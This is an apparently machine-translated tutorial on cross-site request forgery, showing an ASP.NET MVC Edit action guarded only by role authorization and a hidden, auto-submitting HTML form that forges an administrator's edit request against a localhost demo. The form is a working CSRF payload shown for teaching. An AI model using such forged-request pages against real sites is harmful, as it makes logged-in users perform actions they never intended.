Cross-site request forgery (CSRF), csrfforgery

Cross-site request forgery (CSRF), csrfforgery

CSRF (Cross-site request forgery) Cross-site request forgery, also known as "One Click Attack" or Session Riding, usually abbreviated as CSRF or XSRF, is a type of malicious use of websites

Attack steps:

1. log on to trusted website A and generate A Cookie locally.

2. Access dangerous website B without logging out of account.

So when it's okay, don't mess up the links.

 

Common scenario analysis:

Assume that you have such an Action. Because the [Authorize (Roles = "Admins")] Mark has been added, only the administrator role can submit data.

[HttpPost][Authorize(Roles = "Admins")]public ActionResult Edit(ProductDetails productdetails){    if (ModelState.IsValid)    {        db.Entry(productdetails).State = EntityState.Modified;        db.SaveChanges();        return RedirectToAction("Index");    }    return View(productdetails);} 

Non-administrator access to this request will be redirected to the logon page, which is relatively safe currently.

Assume that an administrator has logged on to the website, that is, the first step has been completed,

Wait for the second step. How can we implement the second step? It's actually very simple,

A malicious operator simulates the form submission and places the form under a malicious website,

If the above website administrator happens to have clicked this link (for example, after receiving a malicious email, and so on), the malicious link is opened and loaded,

The above Edit request is triggered by the Administrator unconsciously at this time,

Step 2: the attack is successful.

<form name="csrfhackForm" method="post"    action="http://localhost:63577/ProductDetails/Edit">    <input type="hidden" name="Id" value="1" />    <input type="hidden" name="LicenseCount" value="5" />    <input type="hidden" name="LicenseUsedCount" value="1" />    <input type="hidden" name="AccountUserName" value="Hacker" />    <input type="hidden" name="ProductName" value="B2B Product 101" /></form><script type="text/javascript">    document.csrfhackForm.submit();</script> 

 

Http://www.devcurry.com/2013/01/what-is-antiforgerytoken-and-why-do-i.html